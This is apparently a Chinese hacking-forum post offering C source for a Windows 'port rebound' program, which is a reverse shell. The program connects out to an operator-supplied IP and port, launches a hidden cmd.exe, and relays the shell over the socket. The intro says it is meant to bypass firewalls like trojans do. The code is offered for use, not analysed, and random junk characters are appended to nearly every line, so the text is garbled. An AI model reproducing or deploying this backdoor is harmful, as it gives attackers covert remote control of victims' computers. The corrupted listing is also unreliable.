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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D:?"Rf{)  
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/* ============================== UEt78eN  
Rebound port in Windows NT EyA(W;r.  
By wind,2006/7 qR_Np5nHF  
===============================*/ }Kp$/CYd  
#include bg_io*K  
#include @F*z/E}e  
3orL;(.G  
#pragma comment(lib,"wsock32.lib") 5|>ms)[RQ  
i )$+#N  
void OutputShell(); eibkG  
SOCKET sClient; 0>D*d'xLd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F 9d6#~  
"%S-(ue:  
void main(int argc,char **argv) VUP. \Vry  
{ VS_\bIC  
WSADATA stWsaData; q?)5yukeF  
int nRet;  TU6YS<  
SOCKADDR_IN stSaiClient,stSaiServer; aY;34SF  
"gzn%k[D9m  
if(argc != 3) vu}U2 0@  
{ !0UfX{.  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1zw,;m n  
return; tFX<"cAvK  
} #3eI4KJ4+l  
E>gLUMG$  
WSAStartup(MAKEWORD(2,2),&stWsaData); A7&/3C6{H  
p! )tA  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Mv^S'?>  
q[}r e2  
stSaiClient.sin_family = AF_INET; ?I:_FT  
stSaiClient.sin_port = htons(0); Ey%[t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .sOZ"=tW  
m=v.<+>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c&aqN\'4"  
{ rc7c$3#X  
printf("Bind Socket Failed!\n"); =|dm#w_L"  
return; 6#Y]^%?uy  
} < <Y]P+uU  
#pPR>,4  
stSaiServer.sin_family = AF_INET; %[ *+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (~! @Uz5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7;C~>WlU  
3RxR'M1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fCnwDT  
{ CdcB E.%<  
printf("Connect Error!"); nD)SR  
return; zf5%|7o  
} ZCb@!V}=  
OutputShell(); <{hB&4oL  
} 20}]b* C}  
Zm|il9y4m  
void OutputShell() gkq~0/  
{ &e#pL`N  
char szBuff[1024]; $Fy~xMA8O  
SECURITY_ATTRIBUTES stSecurityAttributes; 2`ERrh^i"  
OSVERSIONINFO stOsversionInfo; M9Yov4k,4]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  G;A  
STARTUPINFO stStartupInfo; ]W%rhppC  
char *szShell; qoZAZ&|HI  
PROCESS_INFORMATION stProcessInformation; u`oJ3mS;  
unsigned long lBytesRead; <Hz11 }<(  
CDW| cr{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TaKHr$h  
d{(Rs.GuP  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;- Vs|X  
stSecurityAttributes.lpSecurityDescriptor = 0; hp}rCy|01  
stSecurityAttributes.bInheritHandle = TRUE; {!{T,_ J  
/X#OX 8gb]  
I\rjw$V#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9ao?\]&t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f(K1 ,L:&7  
;ByCtVm2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #q9BU:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E%stFyr9`/  
stStartupInfo.wShowWindow = SW_HIDE; Do^yer~  
stStartupInfo.hStdInput = hReadPipe; vp d!|/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g u' +kw  
7)Tix7:9S;  
GetVersionEx(&stOsversionInfo); %?qzP '  
`ZP[-:`  
switch(stOsversionInfo.dwPlatformId) t*6C?zEAU  
{ f^5sJ 0;%  
case 1: Y2 N$&]O{  
szShell = "command.com"; 9c1q:>|  
break; #-R]HLW*  
default: N "eK9>  
szShell = "cmd.exe"; $[J\sokpY  
break; 7ruWmy;j  
} 2!{_x8,n  
,5K&f\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9jl\H6JY|  
|c-`XC2g  
send(sClient,szMsg,77,0); C)9-{Yp  
while(1) gq~`!tW'  
{ @:!%Z`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mt e3k=17  
if(lBytesRead) ,c;#~y  
{ *|0W3uy\Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z vyF"4QN  
send(sClient,szBuff,lBytesRead,0); *0'{ n*>  
} WFS6N.Ap  
else %VXIiu[  
{ ~wGjr7Wt  
lBytesRead=recv(sClient,szBuff,1024,0); /\1Q :B3W  
if(lBytesRead<=0) break; "e29j'u!*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OU mZ|  
} 6e}T zc\@(  
} [!ZYtp?Hf  
3z8zZ1uzU  
return; >Wpdq(o  
}
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